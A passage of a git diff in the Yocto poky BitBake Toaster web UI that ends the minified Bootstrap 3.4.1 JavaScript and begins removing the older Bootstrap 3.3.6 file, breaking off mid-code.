t=a.fn.modal;a.fn.modal=r,a.fn.modal.Constructor=s,a.fn.modal.noConflict=function(){return a.fn.modal=t,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(t){var e=a(this),i=e.attr("href"),o=e.attr("data-target")||i&&i.replace(/.*(?=#[^\s]+$)/,""),n=a(document).find(o),s=n.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(i)&&i},n.data(),e.data());e.is("a")&&t.preventDefault(),n.one("show.bs.modal",function(t){t.isDefaultPrevented()||n.one("hidden.bs.modal",function(){e.is(":visible")&&e.trigger("focus")})}),r.call(n,s,this)})}(jQuery),function(g){"use strict";var o=["sanitize","whiteList","sanitizeFn"],a=["background","cite","href","itemtype","longdesc","poster","src","xlink:href"],t={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},r=/^(?:(?:https?|mailto|ftp|tel|file):|[^&:/?#]*(?:[/?#]|$))/gi,l=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i;function u(t,e){var i=t.nodeName.toLowerCase();if(-1!==g.inArray(i,e))return-1===g.inArray(i,a)||Boolean(t.nodeValue.match(r)||t.nodeValue.match(l));for(var o=g(e).filter(function(t,e){return e instanceof RegExp}),n=0,s=o.length;n<s;n++)if(i.match(o[n]))return!0;return!1}function n(t,e,i){if(0===t.length)return t;if(i&&"function"==typeof i)return i(t);if(!document.implementation||!document.implementation.createHTMLDocument)return t;var o=document.implementation.createHTMLDocument("sanitization");o.body.innerHTML=t;for(var n=g.map(e,function(t,e){return e}),s=g(o.body).find("*"),a=0,r=s.length;a<r;a++){var l=s[a],h=l.nodeName.toLowerCase();if(-1!==g.inArray(h,n))for(var d=g.map(l.attributes,function(t){return t}),p=[].concat(e["*"]||[],e[h]||[]),c=0,f=d.length;c<f;c++)u(d[c],p)||l.removeAttribute(d[c].nodeName);else l.parentNode.removeChild(l)}return o.body.innerHTML}var m=function(t,e){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",t,e)};m.VERSION="3.4.1",m.TRANSITION_DURATION=150,m.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0},sanitize:!0,sanitizeFn:null,whiteList:t},m.prototype.init=function(t,e,i){if(this.enabled=!0,this.type=t,this.$element=g(e),this.options=this.getOptions(i),this.$viewport=this.options.viewport&&g(document).find(g.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var o=this.options.trigger.split(" "),n=o.length;n--;){var s=o[n];if("click"==s)this.$element.on("click."+this.type,this.options.selector,g.proxy(this.toggle,this));else if("manual"!=s){var a="hover"==s?"mouseenter":"focusin",r="hover"==s?"mouseleave":"focusout";this.$element.on(a+"."+this.type,this.options.selector,g.proxy(this.enter,this)),this.$element.on(r+"."+this.type,this.options.selector,g.proxy(this.leave,this))}}this.options.selector?this._options=g.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},m.prototype.getDefaults=function(){return m.DEFAULTS},m.prototype.getOptions=function(t){var e=this.$element.data();for(var i in e)e.hasOwnProperty(i)&&-1!==g.inArray(i,o)&&delete e[i];return(t=g.extend({},this.getDefaults(),e,t)).delay&&"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),t.sanitize&&(t.template=n(t.template,t.whiteList,t.sanitizeFn)),t},m.prototype.getDelegateOptions=function(){var i={},o=this.getDefaults();return this._options&&g.each(this._options,function(t,e){o[t]!=e&&(i[t]=e)}),i},m.prototype.enter=function(t){var e=t instanceof this.constructor?t:g(t.currentTarget).data("bs."+this.type);if(e||(e=new this.constructor(t.currentTarget,this.getDelegateOptions()),g(t.currentTarget).data("bs."+this.type,e)),t instanceof g.Event&&(e.inState["focusin"==t.type?"focus":"hover"]=!0),e.tip().hasClass("in")||"in"==e.hoverState)e.hoverState="in";else{if(clearTimeout(e.timeout),e.hoverState="in",!e.options.delay||!e.options.delay.show)return e.show();e.timeout=setTimeout(function(){"in"==e.hoverState&&e.show()},e.options.delay.show)}},m.prototype.isInStateTrue=function(){for(var t in this.inState)if(this.inState[t])return!0;return!1},m.prototype.leave=function(t){var e=t instanceof this.constructor?t:g(t.currentTarget).data("bs."+this.type);if(e||(e=new this.constructor(t.currentTarget,this.getDelegateOptions()),g(t.currentTarget).data("bs."+this.type,e)),t instanceof g.Event&&(e.inState["focusout"==t.type?"focus":"hover"]=!1),!e.isInStateTrue()){if(clearTimeout(e.timeout),e.hoverState="out",!e.options.delay||!e.options.delay.hide)return e.hide();e.timeout=setTimeout(function(){"out"==e.hoverState&&e.hide()},e.options.delay.hide)}},m.prototype.show=function(){var t=g.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(t);var e=g.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(t.isDefaultPrevented()||!e)return;var i=this,o=this.tip(),n=this.getUID(this.type);this.setContent(),o.attr("id",n),this.$element.attr("aria-describedby",n),this.options.animation&&o.addClass("fade");var s="function"==typeof this.options.placement?this.options.placement.call(this,o[0],this.$element[0]):this.options.placement,a=/\s?auto?\s?/i,r=a.test(s);r&&(s=s.replace(a,"")||"top"),o.detach().css({top:0,left:0,display:"block"}).addClass(s).data("bs."+this.type,this),this.options.container?o.appendTo(g(document).find(this.options.container)):o.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var l=this.getPosition(),h=o[0].offsetWidth,d=o[0].offsetHeight;if(r){var p=s,c=this.getPosition(this.$viewport);s="bottom"==s&&l.bottom+d>c.bottom?"top":"top"==s&&l.top-d<c.top?"bottom":"right"==s&&l.right+h>c.width?"left":"left"==s&&l.left-h<c.left?"right":s,o.removeClass(p).addClass(s)}var f=this.getCalculatedOffset(s,l,h,d);this.applyPlacement(f,s);var u=function(){var t=i.hoverState;i.$element.trigger("shown.bs."+i.type),i.hoverState=null,"out"==t&&i.leave(i)};g.support.transition&&this.$tip.hasClass("fade")?o.one("bsTransitionEnd",u).emulateTransitionEnd(m.TRANSITION_DURATION):u()}},m.prototype.applyPlacement=function(t,e){var i=this.tip(),o=i[0].offsetWidth,n=i[0].offsetHeight,s=parseInt(i.css("margin-top"),10),a=parseInt(i.css("margin-left"),10);isNaN(s)&&(s=0),isNaN(a)&&(a=0),t.top+=s,t.left+=a,g.offset.setOffset(i[0],g.extend({using:function(t){i.css({top:Math.round(t.top),left:Math.round(t.left)})}},t),0),i.addClass("in");var r=i[0].offsetWidth,l=i[0].offsetHeight;"top"==e&&l!=n&&(t.top=t.top+n-l);var h=this.getViewportAdjustedDelta(e,t,r,l);h.left?t.left+=h.left:t.top+=h.top;var d=/top|bottom/.test(e),p=d?2*h.left-o+r:2*h.top-n+l,c=d?"offsetWidth":"offsetHeight";i.offset(t),this.replaceArrow(p,i[0][c],d)},m.prototype.replaceArrow=function(t,e,i){this.arrow().css(i?"left":"top",50*(1-t/e)+"%").css(i?"top":"left","")},m.prototype.setContent=function(){var t=this.tip(),e=this.getTitle();this.options.html?(this.options.sanitize&&(e=n(e,this.options.whiteList,this.options.sanitizeFn)),t.find(".tooltip-inner").html(e)):t.find(".tooltip-inner").text(e),t.removeClass("fade in top bottom left right")},m.prototype.hide=function(t){var e=this,i=g(this.$tip),o=g.Event("hide.bs."+this.type);function n(){"in"!=e.hoverState&&i.detach(),e.$element&&e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),t&&t()}if(this.$element.trigger(o),!o.isDefaultPrevented())return i.removeClass("in"),g.support.transition&&i.hasClass("fade")?i.one("bsTransitionEnd",n).emulateTransitionEnd(m.TRANSITION_DURATION):n(),this.hoverState=null,this},m.prototype.fixTitle=function(){var t=this.$element;(t.attr("title")||"string"!=typeof t.attr("data-original-title"))&&t.attr("data-original-title",t.attr("title")||"").attr("title","")},m.prototype.hasContent=function(){return this.getTitle()},m.prototype.getPosition=function(t){var e=(t=t||this.$element)[0],i="BODY"==e.tagName,o=e.getBoundingClientRect();null==o.width&&(o=g.extend({},o,{width:o.right-o.left,height:o.bottom-o.top}));var n=window.SVGElement&&e instanceof window.SVGElement,s=i?{top:0,left:0}:n?null:t.offset(),a={scroll:i?document.documentElement.scrollTop||document.body.scrollTop:t.scrollTop()},r=i?{width:g(window).width(),height:g(window).height()}:null;return g.extend({},o,a,r,s)},m.prototype.getCalculatedOffset=function(t,e,i,o){return"bottom"==t?{top:e.top+e.height,left:e.left+e.width/2-i/2}:"top"==t?{top:e.top-o,left:e.left+e.width/2-i/2}:"left"==t?{top:e.top+e.height/2-o/2,left:e.left-i}:{top:e.top+e.height/2-o/2,left:e.left+e.width}},m.prototype.getViewportAdjustedDelta=function(t,e,i,o){var n={top:0,left:0};if(!this.$viewport)return n;var s=this.options.viewport&&this.options.viewport.padding||0,a=this.getPosition(this.$viewport);if(/right|left/.test(t)){var r=e.top-s-a.scroll,l=e.top+s-a.scroll+o;r<a.top?n.top=a.top-r:l>a.top+a.height&&(n.top=a.top+a.height-l)}else{var h=e.left-s,d=e.left+s+i;h<a.left?n.left=a.left-h:d>a.right&&(n.left=a.left+a.width-d)}return n},m.prototype.getTitle=function(){var t=this.$element,e=this.options;return t.attr("data-original-title")||("function"==typeof e.title?e.title.call(t[0]):e.title)},m.prototype.getUID=function(t){for(;t+=~~(1e6*Math.random()),document.getElementById(t););return t},m.prototype.tip=function(){if(!this.$tip&&(this.$tip=g(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},m.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},m.prototype.enable=function(){this.enabled=!0},m.prototype.disable=function(){this.enabled=!1},m.prototype.toggleEnabled=function(){this.enabled=!this.enabled},m.prototype.toggle=function(t){var e=this;t&&((e=g(t.currentTarget).data("bs."+this.type))||(e=new this.constructor(t.currentTarget,this.getDelegateOptions()),g(t.currentTarget).data("bs."+this.type,e))),t?(e.inState.click=!e.inState.click,e.isInStateTrue()?e.enter(e):e.leave(e)):e.tip().hasClass("in")?e.leave(e):e.enter(e)},m.prototype.destroy=function(){var t=this;clearTimeout(this.timeout),this.hide(function(){t.$element.off("."+t.type).removeData("bs."+t.type),t.$tip&&t.$tip.detach(),t.$tip=null,t.$arrow=null,t.$viewport=null,t.$element=null})},m.prototype.sanitizeHtml=function(t){return n(t,this.options.whiteList,this.options.sanitizeFn)};var e=g.fn.tooltip;g.fn.tooltip=function i(o){return this.each(function(){var t=g(this),e=t.data("bs.tooltip"),i="object"==typeof o&&o;!e&&/destroy|hide/.test(o)||(e||t.data("bs.tooltip",e=new m(this,i)),"string"==typeof o&&e[o]())})},g.fn.tooltip.Constructor=m,g.fn.tooltip.noConflict=function(){return g.fn.tooltip=e,this}}(jQuery),function(n){"use strict";var s=function(t,e){this.init("popover",t,e)};if(!n.fn.tooltip)throw new Error("Popover requires tooltip.js");s.VERSION="3.4.1",s.DEFAULTS=n.extend({},n.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),((s.prototype=n.extend({},n.fn.tooltip.Constructor.prototype)).constructor=s).prototype.getDefaults=function(){return s.DEFAULTS},s.prototype.setContent=function(){var t=this.tip(),e=this.getTitle(),i=this.getContent();if(this.options.html){var o=typeof i;this.options.sanitize&&(e=this.sanitizeHtml(e),"string"===o&&(i=this.sanitizeHtml(i))),t.find(".popover-title").html(e),t.find(".popover-content").children().detach().end()["string"===o?"html":"append"](i)}else t.find(".popover-title").text(e),t.find(".popover-content").children().detach().end().text(i);t.removeClass("fade top bottom left right in"),t.find(".popover-title").html()||t.find(".popover-title").hide()},s.prototype.hasContent=function(){return this.getTitle()||this.getContent()},s.prototype.getContent=function(){var t=this.$element,e=this.options;return t.attr("data-content")||("function"==typeof e.content?e.content.call(t[0]):e.content)},s.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var t=n.fn.popover;n.fn.popover=function e(o){return this.each(function(){var t=n(this),e=t.data("bs.popover"),i="object"==typeof o&&o;!e&&/destroy|hide/.test(o)||(e||t.data("bs.popover",e=new s(this,i)),"string"==typeof o&&e[o]())})},n.fn.popover.Constructor=s,n.fn.popover.noConflict=function(){return n.fn.popover=t,this}}(jQuery),function(s){"use strict";function n(t,e){this.$body=s(document.body),this.$scrollElement=s(t).is(document.body)?s(window):s(t),this.options=s.extend({},n.DEFAULTS,e),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",s.proxy(this.process,this)),this.refresh(),this.process()}function e(o){return this.each(function(){var t=s(this),e=t.data("bs.scrollspy"),i="object"==typeof o&&o;e||t.data("bs.scrollspy",e=new n(this,i)),"string"==typeof o&&e[o]()})}n.VERSION="3.4.1",n.DEFAULTS={offset:10},n.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},n.prototype.refresh=function(){var t=this,o="offset",n=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),s.isWindow(this.$scrollElement[0])||(o="position",n=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var t=s(this),e=t.data("target")||t.attr("href"),i=/^#./.test(e)&&s(e);return i&&i.length&&i.is(":visible")&&[[i[o]().top+n,e]]||null}).sort(function(t,e){return t[0]-e[0]}).each(function(){t.offsets.push(this[0]),t.targets.push(this[1])})},n.prototype.process=function(){var t,e=this.$scrollElement.scrollTop()+this.options.offset,i=this.getScrollHeight(),o=this.options.offset+i-this.$scrollElement.height(),n=this.offsets,s=this.targets,a=this.activeTarget;if(this.scrollHeight!=i&&this.refresh(),o<=e)return a!=(t=s[s.length-1])&&this.activate(t);if(a&&e<n[0])return this.activeTarget=null,this.clear();for(t=n.length;t--;)a!=s[t]&&e>=n[t]&&(n[t+1]===undefined||e<n[t+1])&&this.activate(s[t])},n.prototype.activate=function(t){this.activeTarget=t,this.clear();var e=this.selector+'[data-target="'+t+'"],'+this.selector+'[href="'+t+'"]',i=s(e).parents("li").addClass("active");i.parent(".dropdown-menu").length&&(i=i.closest("li.dropdown").addClass("active")),i.trigger("activate.bs.scrollspy")},n.prototype.clear=function(){s(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var t=s.fn.scrollspy;s.fn.scrollspy=e,s.fn.scrollspy.Constructor=n,s.fn.scrollspy.noConflict=function(){return s.fn.scrollspy=t,this},s(window).on("load.bs.scrollspy.data-api",function(){s('[data-spy="scroll"]').each(function(){var t=s(this);e.call(t,t.data())})})}(jQuery),function(r){"use strict";var a=function(t){this.element=r(t)};function e(i){return this.each(function(){var t=r(this),e=t.data("bs.tab");e||t.data("bs.tab",e=new a(this)),"string"==typeof i&&e[i]()})}a.VERSION="3.4.1",a.TRANSITION_DURATION=150,a.prototype.show=function(){var t=this.element,e=t.closest("ul:not(.dropdown-menu)"),i=t.data("target");if(i||(i=(i=t.attr("href"))&&i.replace(/.*(?=#[^\s]*$)/,"")),!t.parent("li").hasClass("active")){var o=e.find(".active:last a"),n=r.Event("hide.bs.tab",{relatedTarget:t[0]}),s=r.Event("show.bs.tab",{relatedTarget:o[0]});if(o.trigger(n),t.trigger(s),!s.isDefaultPrevented()&&!n.isDefaultPrevented()){var a=r(document).find(i);this.activate(t.closest("li"),e),this.activate(a,a.parent(),function(){o.trigger({type:"hidden.bs.tab",relatedTarget:t[0]}),t.trigger({type:"shown.bs.tab",relatedTarget:o[0]})})}}},a.prototype.activate=function(t,e,i){var o=e.find("> .active"),n=i&&r.support.transition&&(o.length&&o.hasClass("fade")||!!e.find("> .fade").length);function s(){o.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),t.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),n?(t[0].offsetWidth,t.addClass("in")):t.removeClass("fade"),t.parent(".dropdown-menu").length&&t.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),i&&i()}o.length&&n?o.one("bsTransitionEnd",s).emulateTransitionEnd(a.TRANSITION_DURATION):s(),o.removeClass("in")};var t=r.fn.tab;r.fn.tab=e,r.fn.tab.Constructor=a,r.fn.tab.noConflict=function(){return r.fn.tab=t,this};var i=function(t){t.preventDefault(),e.call(r(this),"show")};r(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',i).on("click.bs.tab.data-api",'[data-toggle="pill"]',i)}(jQuery),function(l){"use strict";var h=function(t,e){this.options=l.extend({},h.DEFAULTS,e);var i=this.options.target===h.DEFAULTS.target?l(this.options.target):l(document).find(this.options.target);this.$target=i.on("scroll.bs.affix.data-api",l.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",l.proxy(this.checkPositionWithEventLoop,this)),this.$element=l(t),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};function i(o){return this.each(function(){var t=l(this),e=t.data("bs.affix"),i="object"==typeof o&&o;e||t.data("bs.affix",e=new h(this,i)),"string"==typeof o&&e[o]()})}h.VERSION="3.4.1",h.RESET="affix affix-top affix-bottom",h.DEFAULTS={offset:0,target:window},h.prototype.getState=function(t,e,i,o){var n=this.$target.scrollTop(),s=this.$element.offset(),a=this.$target.height();if(null!=i&&"top"==this.affixed)return n<i&&"top";if("bottom"==this.affixed)return null!=i?!(n+this.unpin<=s.top)&&"bottom":!(n+a<=t-o)&&"bottom";var r=null==this.affixed,l=r?n:s.top;return null!=i&&n<=i?"top":null!=o&&t-o<=l+(r?a:e)&&"bottom"},h.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(h.RESET).addClass("affix");var t=this.$target.scrollTop(),e=this.$element.offset();return this.pinnedOffset=e.top-t},h.prototype.checkPositionWithEventLoop=function(){setTimeout(l.proxy(this.checkPosition,this),1)},h.prototype.checkPosition=function(){if(this.$element.is(":visible")){var t=this.$element.height(),e=this.options.offset,i=e.top,o=e.bottom,n=Math.max(l(document).height(),l(document.body).height());"object"!=typeof e&&(o=i=e),"function"==typeof i&&(i=e.top(this.$element)),"function"==typeof o&&(o=e.bottom(this.$element));var s=this.getState(n,t,i,o);if(this.affixed!=s){null!=this.unpin&&this.$element.css("top","");var a="affix"+(s?"-"+s:""),r=l.Event(a+".bs.affix");if(this.$element.trigger(r),r.isDefaultPrevented())return;this.affixed=s,this.unpin="bottom"==s?this.getPinnedOffset():null,this.$element.removeClass(h.RESET).addClass(a).trigger(a.replace("affix","affixed")+".bs.affix")}"bottom"==s&&this.$element.offset({top:n-t-o})}};var t=l.fn.affix;l.fn.affix=i,l.fn.affix.Constructor=h,l.fn.affix.noConflict=function(){return l.fn.affix=t,this},l(window).on("load",function(){l('[data-spy="affix"]').each(function(){var t=l(this),e=t.data();e.offset=e.offset||{},null!=e.offsetBottom&&(e.offset.bottom=e.offsetBottom),null!=e.offsetTop&&(e.offset.top=e.offsetTop),i.call(t,e)})})}(jQuery); \ No newline at end of file
diff --git a/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap.min.js b/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap.min.js
deleted file mode 100644
index c4a924160d..0000000000
--- a/poky/bitbake/lib/toaster/toastergui/static/js/bootstrap.min.js
+++ /dev/null
@@ -1,7 +0,0 @@
-/*!
- * Bootstrap v3.3.6 (http://getbootstrap.com)
- * Copyright 2011-2016 Twitter, Inc.
- * Licensed under the MIT license
- */
-if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>2)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 3")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.6",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.6",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),a(c.target).is('input[type="radio"]')||a(c.target).is('input[type="checkbox"]')||c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.6",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.6",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var 